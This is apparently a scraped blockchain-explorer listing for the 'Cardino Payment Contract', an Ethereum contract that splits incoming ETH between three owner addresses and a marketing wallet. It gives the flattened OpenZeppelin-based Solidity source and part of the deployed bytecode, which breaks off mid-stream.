600090815260046020526040808220805493871683529120805484810382558254850192839055905492019101811461053057fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3505050505600a165627a7a723058200456c2cfcfcdf6b3088f015598f4a3b0b07c9f6c0ba490f51cda8012a0495cb20029
[ 38 ]
0xF2FBB896DA2e53Ce7C1391cA003FD8A3277c55aB
// Sources flattened with hardhat v2.6.0 https://hardhat.org // File @openzeppelin/contracts/math/SafeMath.sol@v3.4.1-solc-0.7-2 // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >= 0.6.0 < 0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity ^0.6.12; contract PaymentContract is AccessControl { using SafeMath for uint256; string public name = "Cardino Payment Contract"; address public owner; uint256 public decimals = 10 ** 18; // list of addresses for owners and marketing wallet address[] private owners = [0xB3BEB19190DbfDaf17782A656210A9D5DbC84BB3, 0x5c1C906e89b59569e020a84b7958014f210cA255, 0xe10E9a58B3139Fe0EE67EbF18C27D0C41aE0668C]; address private marketing = 0x40Fe68980068909E98d204A152759251961CC788; uint256 private totalPercent = 100; // mapping will allow us to create a relationship of investor to their current remaining balance mapping( address => uint256 ) public _currentBalance; uint256 public marketingWalletPortion = 40; uint256 public shareholdersPercentage = totalPercent.sub(marketingWalletPortion); uint256 public individualShareholderPercent = shareholdersPercentage.div(3); event MarketingWalletPercentageChanged( uint256 newPercentage); event EtherReceived(address from, uint256 amount); bytes32 public constant OWNERS = keccak256("OWNERS"); bytes32 public constant MARKETING = keccak256("MARKETING"); constructor () public { owner = msg.sender; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(OWNERS, owners[0]); _setupRole(OWNERS, owners[1]); _setupRole(OWNERS, owners[2]); _setupRole(MARKETING, marketing); } receive() external payable { uint256 ethSent = msg.value; uint256 marketingShare = (ethSent * marketingWalletPortion) / 100; uint256 leftOver = ethSent - marketingShare; uint256 shareholdersShare = leftOver / 3; for(uint256 i=0; i < owners.length; i++){ _currentBalance[owners[i]] = _currentBalance[owners[i]] + shareholdersShare; } _currentBalance[marketing] = _currentBalance[marketing] + (marketingShare); emit EtherReceived(msg.sender, msg.value); } function updateMarketingPercentage(uint256 newMarketingCut) public { if( hasRole(OWNERS, msg.sender) == true) { if(newMarketingCut <= 40){ marketingWalletPortion = newMarketingCut; shareholdersPercentage = totalPercent.sub(marketingWalletPortion); individualShareholderPercent = shareholdersPercentage.div(3); emit MarketingWalletPercentageChanged(newMarketingCut); } } } function withdrawBalanceOwner() public { if(_currentBalance[msg.sender] > 0){ uint256 amountToPay = _currentBalance[msg.sender]; address payable withdrawee; if(hasRole(OWNERS, msg.sender)){ _currentBalance[msg.sender] = _currentBalance[msg.sender].sub(amountToPay); withdrawee = payable(msg.sender); withdrawee.transfer(amountToPay); } } } function checkBalance() external view returns (uint256 balance){ return _currentBalance[msg.sender]; } function checkTotalBalance() external view returns (uint256 totalBalance) { if(hasRole(OWNERS, msg.sender) || hasRole(MARKETING, msg.sender)){ return address(this).balance; } } function withdrawMarketing() public { if(hasRole(MARKETING, msg.sender)){ uint256 amountToPay = _currentBalance[msg.sender]; if(amountToPay > 0){ _currentBalance[msg.sender] = _currentBalance[msg.sender].sub(amountToPay); address payable marketingPayable = payable(marketing); marketingPayable.transfer(amountToPay); } } } function updateMarketingWalletAddress(address newAddress) public { if(hasRole(DEFAULT_ADMIN_ROLE, msg.sender)){ address oldAddress = marketing; if(newAddress != oldAddress){ revokeRole(MARKETING, marketing); grantRole(MARKETING, newAddress); marketing = newAddress; _currentBalance[newAddress] = _currentBalance[oldAddress]; _currentBalance[oldAddress] = 0; } } } }
0x6080604052600436106101445760003560e01c8063969e24d8116100b6578063ca15c8731161006f578063ca15c8731461084d578063d36260771461089c578063d547741f146108d7578063d801b70d14610932578063e530a7d01461095d578063fe9882da14610988576103ac565b8063969e24d8146107395780639b5ac3ee1461078a578063a217fddf146107b5578063a4b34ffd146107e0578063c2e65e421461080b578063c71daccb14610822576103ac565b806336568abe1161010857806336568abe146105415780635cf4f8651461059c57806370278992146105b35780638da5cb5b146106185780639010d07c1461065957806391d14854146106c8576103ac565b806306fdde03146103b1578063248a9ca3146104415780632a9078d6146104905780632f2ff15d146104bb578063313ce56714610516576103ac565b366103ac5760003490506000606460085483028161015e57fe5b0490506000818303905060006003828161017457fe5b04905060005b6004805490508110156102875781600760006004848154811061019957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600760006004848154811061021157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808060010191505061017a565b508260076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540160076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f1e57e3bb474320be3d2c77138f75b7c3941292d647f5f9634e33a8e94e0e069b3334604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050005b600080fd5b3480156103bd57600080fd5b506103c66109b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104065780820151818401526020810190506103eb565b50505050905090810190601f1680156104335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044d57600080fd5b5061047a6004803603602081101561046457600080fd5b8101908080359060200190929190505050610a51565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b506104a5610a70565b6040518082815260200191505060405180910390f35b3480156104c757600080fd5b50610514600480360360408110156104de57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a94565b005b34801561052257600080fd5b5061052b610b1d565b6040518082815260200191505060405180910390f35b34801561054d57600080fd5b5061059a6004803603604081101561056457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b23565b005b3480156105a857600080fd5b506105b1610bbc565b005b3480156105bf57600080fd5b50610602600480360360208110156105d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d41565b6040518082815260200191505060405180910390f35b34801561062457600080fd5b5061062d610d59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066557600080fd5b5061069c6004803603604081101561067c57600080fd5b810190808035906020019092919080359060200190929190505050610d7f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d457600080fd5b50610721600480360360408110156106eb57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db0565b60405180821515815260200191505060405180910390f35b34801561074557600080fd5b506107886004803603602081101561075c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de1565b005b34801561079657600080fd5b5061079f610fd2565b6040518082815260200191505060405180910390f35b3480156107c157600080fd5b506107ca610fd8565b6040518082815260200191505060405180910390f35b3480156107ec57600080fd5b506107f5610fdf565b6040518082815260200191505060405180910390f35b34801561081757600080fd5b50610820610fe5565b005b34801561082e57600080fd5b50610837611187565b6040518082815260200191505060405180910390f35b34801561085957600080fd5b506108866004803603602081101561087057600080fd5b81019080803590602001909291905050506111ce565b6040518082815260200191505060405180910390f35b3480156108a857600080fd5b506108d5600480360360208110156108bf57600080fd5b81019080803590602001909291905050506111f4565b005b3480156108e357600080fd5b50610930600480360360408110156108fa57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ae565b005b34801561093e57600080fd5b50610947611337565b6040518082815260200191505060405180910390f35b34801561096957600080fd5b5061097261133d565b6040518082815260200191505060405180910390f35b34801561099457600080fd5b5061099d611361565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a495780601f10610a1e57610100808354040283529160200191610a49565b820191906000526020600020905b815481529060010190602001808311610a2c57829003601f168201915b505050505081565b6000806000838152602001908152602001600020600201549050919050565b7f442e70e83397770c9f1520820e5555e76d9d4f0a415d9c72548c8daac6944e1f81565b610aba60008084815260200190815260200160002060020154610ab561150b565b610db0565b610b0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806118fa602f913960400191505060405180910390fd5b610b198282611513565b5050565b60035481565b610b2b61150b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611959602f913960400191505060405180910390fd5b610bb882826115a6565b5050565b610be67f40dcdde54fce2b4da56afd2611356f44203c8f196ff812f0012760468fe766a533610db0565b15610d3f576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610d3d57610c8a81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cf90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073fffffffffffff